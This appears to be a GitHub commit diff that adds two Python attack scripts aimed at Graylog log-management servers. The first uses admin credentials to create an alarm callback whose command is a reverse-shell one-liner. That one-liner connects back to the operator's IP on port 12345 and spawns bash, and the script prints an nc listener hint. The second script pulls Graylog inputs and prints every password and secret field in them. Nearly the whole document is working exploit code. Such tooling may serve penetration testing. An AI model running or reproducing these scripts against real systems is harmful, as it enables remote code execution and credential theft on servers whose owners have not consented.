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Jose Torres
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Sep 10, 2019
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,95 @@ | ||
| #!/usr/bin/env python3 | ||
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| # Graylog Create Alarm Callback to Obtain Reverse Shell | ||
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| # %%%%%%%%%%% Libraries %%%%%%%%%%%# | ||
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| import colorama | ||
| import getpass | ||
| import logging | ||
| import requests | ||
| import urllib3 | ||
| from colorama import Fore, Style | ||
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| colorama.init() | ||
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
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| # %%%%%%%%%%% Constants %%%%%%%%%%%# | ||
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| SEPARATOR = "[*] {0} [*]".format('=' * 110) | ||
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| # %%%%%%%%%% Functions %%%%%%%%%# | ||
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| def alarm_callback(graylogip): | ||
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| graylogpass = getpass.getpass( | ||
| Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) | ||
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| localIP = input("[!] Enter your local IP address: ") | ||
| alertid = "000000000000000000000000" | ||
| authurl = "http://" + graylogip + ":9000/api/system/sessions" | ||
| typesurl = "http://" + graylogip + ":9000/api/alerts/callbacks/types" | ||
| alarmsurl = "http://" + graylogip + ":9000/api/streams/000000000000000000000001/alarmcallbacks" | ||
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| bashcommand = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET," \ | ||
| "socket.SOCK_STREAM);s.connect((\"" + localIP + "\",12345));os.dup2(s.fileno()," \ | ||
| "0); os.dup2(s.fileno()," \ | ||
| "1); os.dup2(s.fileno()," \ | ||
| "2);import pty; pty.spawn(" \ | ||
| "\"/bin/bash\")'" | ||
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| params = { | ||
| "title": "testgraylog", "type": "ir.elenoon.ExeCommandAlarmCallBack", | ||
| "configuration": {"bashCommand": bashcommand} | ||
| } | ||
| headers = {'X-Requested-By': 'XMLHttpRequest'} | ||
| authparams = {'username': 'admin', 'password': graylogpass, 'host': graylogip} | ||
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| print(SEPARATOR) | ||
| print("[!] Start a listener in port 12345, for example nc -lvp 12345") | ||
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| try: | ||
| s = requests.Session() | ||
| s.headers.update(headers) | ||
| s.auth = ('admin', graylogpass) | ||
| s.post(authurl, json = authparams, verify = False) | ||
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| response = s.get(typesurl, verify = False) | ||
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| if (response.status_code == 200 and "ir.elenoon.ExeCommandAlarmCallBack" in | ||
| response.text): # text of graylog2 plugin exec | ||
| print(SEPARATOR) | ||
| print("[!] Alarm Callback Exec Plugin Found") | ||
| postresponse = s.post(alarmsurl, json = params, verify = False) | ||
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| if postresponse.status_code == 201: # created status code | ||
| print("[!] Alarm Callback Succesfully Created") | ||
| data = postresponse.json() | ||
| alertid = str(data['alarmcallback_id']) | ||
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| if (alertid != "000000000000000000000000"): | ||
| print("[!] Alarm Callback ID: " + alertid) | ||
| testurl = "http://" + graylogip + ":9000/api/alerts/callbacks/" + alertid + \ | ||
| "/test" | ||
| testresponse = s.post(testurl, verify = False) | ||
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| if testresponse.status_code == 200: | ||
| print( | ||
| "[!] Test Action Started: " + Fore.RED + Style.BRIGHT + "Reverse Shell Ready") | ||
| print(Style.RESET_ALL + SEPARATOR) | ||
| else: | ||
| print("[!] Error in Action Test") | ||
| else: | ||
| print("[!] Error in Alarm Callback ID") | ||
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| else: | ||
| print("[!] Error in Alarm Callback Creation") | ||
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| else: | ||
| print(SEPARATOR) | ||
| print("[!] Alarm Callback Exec Plugin Not Found") | ||
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| except Exception as e: | ||
| logging.error(e, exc_info = True) | ||
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| # %%%%%%%%%% The End %%%%%%%%%%# |
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,63 @@ | ||
| #!/usr/bin/env python3 | ||
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| # Graylog Obtain Credentials from Inputs | ||
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| # %%%%%%%%%%% Libraries %%%%%%%%%%%# | ||
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| import colorama | ||
| import getpass | ||
| import json | ||
| import logging | ||
| import requests | ||
| import urllib3 | ||
| from requests.auth import HTTPBasicAuth | ||
| from colorama import Fore, Style | ||
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| colorama.init() | ||
| urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | ||
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| # %%%%%%%%%%% Constants %%%%%%%%%%%# | ||
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| SEPARATOR = "[*] {0} [*]".format('=' * 110) | ||
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| # %%%%%%%%%% Functions %%%%%%%%%# | ||
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| def obtain_inputs(graylogip): | ||
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| inputsurl = "http://" + graylogip + ":9000/api/system/inputs?pretty=true" | ||
| graylogpass = getpass.getpass( | ||
| Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) | ||
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| try: | ||
| response = requests.get(inputsurl, auth = HTTPBasicAuth('admin', graylogpass)) | ||
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| if response.status_code == 200 and "DOCTYPE html" not in response.text: | ||
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| print(SEPARATOR) | ||
| print("[!] Graylog Inputs with Secret Keys or Passwords") | ||
| data = response.json() | ||
| inputs = data['inputs'] | ||
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| for x in inputs: | ||
| attributes = x['attributes'] | ||
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| if 'password' in str(attributes) or 'secret' in str(attributes): | ||
| print(SEPARATOR) | ||
| print("[!] " + str(x['title'])) | ||
| print(SEPARATOR) | ||
| for y in attributes: | ||
| if 'password' in str(y) or 'secret' in str(y): | ||
| print(Fore.RED + Style.BRIGHT + "[!] " + str(y) + ": " + str( | ||
| attributes[y]) + Style.RESET_ALL) | ||
| else: | ||
| print("[!] " + str(y) + ": " + str(attributes[y])) | ||
| print(SEPARATOR) | ||
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| else: | ||
| print(SEPARATOR) | ||
| print("[!] Error obtaining Graylog Inputs") | ||
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| except Exception as e: | ||
| logging.error(e, exc_info = True) | ||
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| # %%%%%%%%%% The End %%%%%%%%%%# |
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